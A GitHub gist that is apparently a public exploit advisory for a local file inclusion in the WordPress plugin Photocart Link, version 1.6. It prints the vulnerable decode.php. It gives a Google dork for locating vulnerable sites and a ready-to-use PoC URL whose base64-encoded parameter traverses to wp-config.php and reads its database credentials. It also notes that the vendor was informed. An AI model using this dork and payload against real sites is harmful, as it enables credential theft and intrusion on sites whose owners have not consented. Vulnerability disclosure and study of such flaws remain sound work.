Skip to content

Instantly share code, notes, and snippets.

@CCrashBandicot
Created March 31, 2016 01:36
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save CCrashBandicot/f2d593e1d91e975832dda9444b733350 to your computer and use it in GitHub Desktop.
Save CCrashBandicot/f2d593e1d91e975832dda9444b733350 to your computer and use it in GitHub Desktop.
# Exploit Title: Wordpress Plugin Photocart Link - Local File Inclusion
# Exploit Author: CrashBandicot @DosPerl
# Date: 2016-03-27
# Google Dork : inurl:/wp-content/plugins/photocart-link/
# Vendor Homepage: https://fr.wordpress.org/plugins/photocart-link/
# Tested on: MSWin32
# Version: 1.6
# Vuln file : decode.php
<?php
error_reporting(0);
header("Cache-control: private");
$new = base64_decode($_REQUEST['id']);
header("Content-type: image/jpeg");
header("Content-transfer-encoding: binary\n");
header("Content-Disposition: filename=do_not_copy_these_images");
header('Cache-control: no-cache');
@readfile($new);
?>
# PoC : /wp-content/plugins/photocart-link/decode.php?id=Li4vLi4vLi4vd3AtY29uZmlnLnBocA==
# Right click -> Save As -> and Read with Notepad file Saved
# 27/03/2016 - Vendor Informed about Issues
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment